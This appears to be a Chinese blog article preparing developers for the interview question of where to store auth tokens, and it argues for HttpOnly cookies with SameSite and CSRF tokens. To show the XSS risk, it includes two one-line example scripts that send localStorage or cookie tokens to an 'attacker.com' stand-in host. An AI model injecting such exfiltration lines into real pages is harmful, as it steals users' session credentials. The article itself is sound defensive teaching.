🧑💻 寫在開頭
點贊 + 收藏 === 學會🤣🤣🤣
面試官問:"用户 token 應該存在哪?"
很多人脱口而出:localStorage。
這個回答不能説錯,但遠稱不上好答案。
一個好答案,至少要説清三件事:
- 有哪些常見存儲方式,它們的優缺點是什麼
- 為什麼大部分團隊會從 localStorage 遷移到 HttpOnly Cookie
- 實際項目裏怎麼落地、怎麼權衡「安全 vs 成本」
這篇文章就從這三點展開,順便幫你把這道高頻面試題吃透。
三種存儲方式,一張圖看懂差異
前端存 token,主流就三種:
localStorage:用得最多,但也最容易出事
大部分項目一開始都是這樣寫的,把 token 往 localStorage 一扔就完事了:
// 登錄成功後
localStorage.setItem('token', response.accessToken);
// 請求時取出來
const token = localStorage.getItem('token');
fetch('/api/user', {
headers: { Authorization: `Bearer ${token}` }
});
用起來確實方便,但有個致命問題:XSS 攻擊可以直接讀取。
localStorage 對 JavaScript 完全開放。只要頁面有一個 XSS 漏洞,攻擊者就能一行代碼偷走 token:
// 攻擊者注入的腳本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))
你可能會想:"我的代碼沒有 XSS 漏洞。"
現實是:XSS 漏洞太容易出現了——一個 innerHTML 沒處理好,一個第三方腳本被污染,一個 URL 參數直接渲染……項目一大、接口一多,總有疏漏的時候。
普通 Cookie:XSS 能讀,CSRF 還會自動帶
有人會往 Cookie 上靠攏:"那我存 Cookie 裏,是不是就更安全了?"
如果只是「普通 Cookie」,實際上比 localStorage 還糟糕:
// 設置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;
// 攻擊者同樣能讀到
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);
XSS 能讀,CSRF 還會自動帶上——兩頭不討好。
HttpOnly Cookie:讓 XSS 偷不走 Token
真正值得推薦的,是 HttpOnly Cookie。
它的核心優勢只有一句話:JavaScript 讀不到。
// 後端設置(Node.js 示例)
res.cookie('access_token', token, {
httpOnly: true, // JS 訪問不到
secure: true, // 只在 HTTPS 發送
sameSite: 'lax', // 防 CSRF
maxAge: 3600000 // 1 小時過期
});
httpOnly: true,前端 document.cookie 壓根看不到這個 Cookie。XSS 攻擊偷不走。
// 前端發請求,瀏覽器自動帶上 Cookie
fetch('/api/user', {
credentials: 'include'
});
// 攻擊者的 XSS 腳本
document.cookie // 看不到 httpOnly 的 Cookie,偷不走
HttpOnly Cookie 的代價:需要正面面對 CSRF
HttpOnly Cookie 解決了「XSS 偷 token」的問題,但引入了另一個必須正視的問題:CSRF。
因為 Cookie 會自動發送,攻擊者可以誘導用户訪問惡意頁面,悄悄發起偽造請求:
好消息是:CSRF 比 XSS 容易防得多。
SameSite 屬性
最簡單的一步,就是在設置 Cookie 時加上 sameSite:
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax' // 關鍵配置
});
sameSite 有三個值:
- strict:跨站請求完全不帶 Cookie。最安全,但從外鏈點進來需要重新登錄
- lax:GET 導航可以帶,POST 不帶。大部分場景夠用,Chrome 默認值
- none:都帶,但必須配合
secure: true
lax 能防住絕大部分 CSRF 攻擊。如果業務場景更敏感(比如金融),可以再加 CSRF Token。
CSRF Token(更嚴格)
如果希望更嚴謹,可以在 sameSite 基礎上,再加一層 CSRF Token 驗證:
// 後端生成 Token,放到頁面或接口返回
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken); // 這個不用 httpOnly,前端需要讀
// 前端請求時帶上
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]
},
credentials: 'include'
});
// 後端驗證
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
return res.status(403).send('CSRF token mismatch');
}
攻擊者能讓瀏覽器自動帶上 Cookie,但沒法讀取 Cookie 內容來構造請求頭。
核心對比:為什麼寧願多做 CSRF,也要堵死 XSS
這是全篇最重要的一點,也是推薦 HttpOnly Cookie 的根本原因。
XSS 的攻擊面太廣:
- 用户輸入渲染(評論、搜索、URL 參數)
- 第三方腳本(廣告、統計、CDN)
- 富文本編輯器
- Markdown 渲染
- JSON 數據直接插入 HTML
代碼量大了,總有地方會疏漏。一個 innerHTML 忘了轉義,第三方庫有漏洞,攻擊者就能注入腳本。
CSRF 防護相對簡單、手段統一:
sameSite: lax一行配置搞定大部分場景- 需要更嚴格就加 CSRF Token
- 攻擊面有限,主要是表單提交和鏈接跳轉
兩害相權取其輕——先把 XSS 能偷 token 這條路堵死,再去專心做好 CSRF 防護。
真落地要改什麼:從 localStorage 遷移到 HttpOnly Cookie
從 localStorage 遷移到 HttpOnly Cookie,需要前後端一起動手,但改造範圍其實不大。
後端改動
登錄接口,從「返回 JSON 裏的 token」改成「Set-Cookie」:
// 改造前
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.json({ accessToken: token });
});
// 改造後
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 3600000
});
res.json({ success: true });
});
前端改動
前端請求時不再手動帶 token,而是改成 credentials: 'include':
// 改造前
fetch('/api/user', {
headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
});
// 改造後
fetch('/api/user', {
credentials: 'include'
});
如果用 axios,可以全局配置:
axios.defaults.withCredentials = true;
登出處理
登出時,後端清除 Cookie:
app.post('/api/logout', (req, res) => {
res.clearCookie('access_token');
res.json({ success: true });
});
如果暫時做不到 HttpOnly Cookie,可以怎麼降風險
有些項目歷史包袱比較重,或者後端暫時不願意改。短期內只能繼續用 localStorage 的話,至少要做好這些補救措施:
-
嚴格防 XSS
- 用
textContent代替innerHTML - 用户輸入必須轉義
- 配置 CSP 頭
- 富文本用 DOMPurify 過濾
- 用
-
Token 過期時間要短
- Access Token 15-30 分鐘過期
- 配合 Refresh Token 機制
-
敏感操作二次驗證
- 轉賬、改密碼等操作,要求輸入密碼或短信驗證
-
監控異常行為
- 同一賬號多地登錄告警
- Token 使用頻率異常告警
面試怎麼答
回到開頭的問題,面試怎麼答?
簡潔版(30 秒):
推薦 HttpOnly Cookie。因為 XSS 比 CSRF 難防——代碼裏一個 innerHTML 沒處理好就可能有 XSS,而 CSRF 只要加個 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要處理 CSRF 就行。
完整版(1-2 分鐘):
Token 存儲有三種常見方式:localStorage、普通 Cookie、HttpOnly Cookie。
localStorage 最大的問題是 XSS 能讀取。JavaScript 對 localStorage 完全開放,攻擊者注入一行腳本就能偷走 token。
普通 Cookie 更糟,XSS 能讀,CSRF 還會自動發送。
推薦 HttpOnly Cookie,設置 httpOnly: true 後 JavaScript 讀不到。雖然 Cookie 會自動發送導致 CSRF 風險,但 CSRF 比 XSS 容易防——加個 sameSite: lax 就能解決大部分場景。
所以權衡下來,HttpOnly Cookie 配合 SameSite 是更安全的方案。
當然,沒有絕對安全的方案。即使用了 HttpOnly Cookie,XSS 攻擊雖然偷不走 token,但還是可以利用當前會話發請求。最好的做法是縱深防禦——HttpOnly Cookie + SameSite + CSP + 輸入驗證,多層防護疊加。
加分項(如果面試官追問):
- 改造成本:需要前後端配合,登錄接口改成 Set-Cookie 返回,前端請求加 credentials: include
- 如果用 localStorage:Token 過期時間要短,敏感操作二次驗證,嚴格防 XSS
- 移動端場景:App 內置 WebView 用 HttpOnly Cookie 可能有兼容問題,需要具體評估